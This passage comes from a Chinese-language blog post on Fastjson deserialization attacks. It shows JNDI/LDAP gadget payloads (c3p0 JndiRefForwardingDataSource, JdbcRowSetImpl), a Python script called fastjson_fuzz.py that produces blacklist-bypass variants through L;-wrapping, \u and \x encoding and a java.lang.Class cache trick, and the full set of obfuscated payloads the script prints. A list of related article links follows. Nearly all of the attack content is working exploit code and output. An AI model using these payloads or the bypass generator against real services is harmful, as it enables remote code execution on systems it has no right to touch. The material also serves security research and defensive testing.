070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383038302f740003466f6f;"
}
}
payload7:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://localhost:1389/Object",
"loginTimeout": 0
}
}
...還有很多
下面是個小指令碼,可以將基礎payload轉出各種繞過的變形態,還增加了\u、\x編碼形式 :
#!usr/bin/env python
# -*- coding:utf-8 -*-"""
@author: longofo
@file: fastjson_fuzz.py
@time: 2020/05/07 """import jsonfrom json import JSONDecodeErrorclass FastJsonPayload:
def __init__(self, base_payload):
try:
json.loads(base_payload)
except JSONDecodeError as ex:
raise ex
self.base_payload = base_payload def gen_common(self, payload, func):
tmp_payload = json.loads(payload)
dct_objs = [tmp_payload]
while len(dct_objs) > 0:
tmp_objs = []
for dct_obj in dct_objs:
for key in dct_obj:
if key == "@type":
dct_obj[key] = func(dct_obj[key])
if type(dct_obj[key]) == dict:
tmp_objs.append(dct_obj[key])
dct_objs = tmp_objs return json.dumps(tmp_payload)
# 對@type的value增加L開頭,;結尾的payload def gen_payload1(self, payload: str):
return self.gen_common(payload, lambda v: "L" + v + ";")
# 對@type的value增加LL開頭,;;結尾的payload def gen_payload2(self, payload: str):
return self.gen_common(payload, lambda v: "LL" + v + ";;")
# 對@type的value進行\u def gen_payload3(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
# 對@type的value進行\x def gen_payload4(self, payload: str):
return self.gen_common(payload,
lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")
# 生成cache繞過payload def gen_payload5(self, payload: str):
cache_payload = {
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
}
cache_payload["rand2"] = json.loads(payload)
return json.dumps(cache_payload)
def gen(self):
payloads = []
payload1 = self.gen_payload1(self.base_payload)
yield payload1
payload2 = self.gen_payload2(self.base_payload)
yield payload2
payload3 = self.gen_payload3(self.base_payload)
yield payload3
payload4 = self.gen_payload4(self.base_payload)
yield payload4
payload5 = self.gen_payload5(self.base_payload)
yield payload5
payloads.append(payload1)
payloads.append(payload2)
payloads.append(payload5)
for payload in payloads:
yield self.gen_payload3(payload)
yield self.gen_payload4(payload)if __name__ == '__main__':
fjp = FastJsonPayload('''{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true }}''')
for payload in fjp.gen():
print(payload)
print()
例如JdbcRowSetImpl結果:
{"rand1": {"@type": "Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u004c\u004c\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c\u003b\u003b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\x4c\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b\x3b", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}{"rand1": {"@type": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}{"rand1": {"@type": "\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73", "val": "com.sun.rowset.JdbcRowSetImpl"}, "rand2": {"rand1": {"@type": "\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c", "dataSourceName": "ldap://localhost:1389/Object", "autoCommit": true}}}
有些師傅也透過掃描maven倉庫包來尋找符合jackson、fastjson的惡意利用類,似乎大多數都是在尋找jndi型別的漏洞。對於跑黑名單,可以看下這個 ,跑到1.2.62版本了,跑出來了大多數黑名單,不過很多都是包,具體哪個類還得去包中一一尋找。
參考連結
- ...
太多了,感謝師傅們的辛勤記錄。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2691819/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- fastjson反序列化漏洞ASTJSON
- Fastjson反序列化漏洞復現ASTJSON
- Fastjson 反序列化漏洞分析 1.2.25-1.2.47ASTJSON
- Fastjson1.2.24反序列化漏洞復現ASTJSON
- Fastjson反序列化漏洞分析 1.2.22-1.2.24ASTJSON
- 烽火狼煙丨Fastjson反序列化漏洞風險提示ASTJSON
- 【Fastjson】Fastjson反序列化由淺入深ASTJSON
- 關於fastjson出現反序列化遠端程式碼執行漏洞的通知ASTJSON
- fastjson反序列化-JdbcRowSetImpl利用鏈ASTJSONJDBC
- FastJson 序列化處理 null 值ASTJSONNull
- 高危!Fastjson反序列化遠端程式碼執行漏洞風險通告,請儘快升級ASTJSON
- Fastjson定製屬性的序列化和反序列化ASTJSON
- Fastjson反序列化遠端程式碼執行漏洞產生原因及修復建議ASTJSON
- 從0開始fastjson漏洞分析ASTJSON
- FastJson整形資料反序列化的坑ASTJSON
- springbootredis自定義序列化方式(fastJson)Spring BootRedisASTJSON
- Android 中的Json解析工具fastjson 、序列化、反序列化AndroidJSONAST
- Java序列化、反序列化、反序列化漏洞Java
- 從0開始fastjson漏洞分析2ASTJSON
- FastJson bean序列化屬性順序問題ASTJSONBean
- php反序列化漏洞PHP
- JMX 反序列化漏洞
- 技術分享 | Fastjson-RCE漏洞復現ASTJSON
- fastjson序列化日期自動增加了1年ASTJSON
- FastJSON解析Json字串(反序列化為List、Map)ASTJSON字串
- 解決fastjson反序列化時報錯的問題ASTJSON
- 原來不只是fastjson,這個你每天都在用的類庫也被爆過反序列化漏洞!ASTJSON
- WEB漏洞——PHP反序列化WebPHP
- python 反序列化漏洞Python
- Fastjson2基礎使用以及底層序列化/反序列化實現探究ASTJSON
- PHP反序列化漏洞總結PHP
- php xss 反序列化漏洞PHP
- Java的Fastjson庫爆高嚴重性RCE漏洞JavaASTJSON
- FastJson引入存在DDos攻擊安全漏洞案例分析ASTJSON
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析
- Web安全之PHP反序列化漏洞WebPHP
- Apache Shiro 反序列化漏洞分析Apache
- Shiro 550反序列化漏洞分析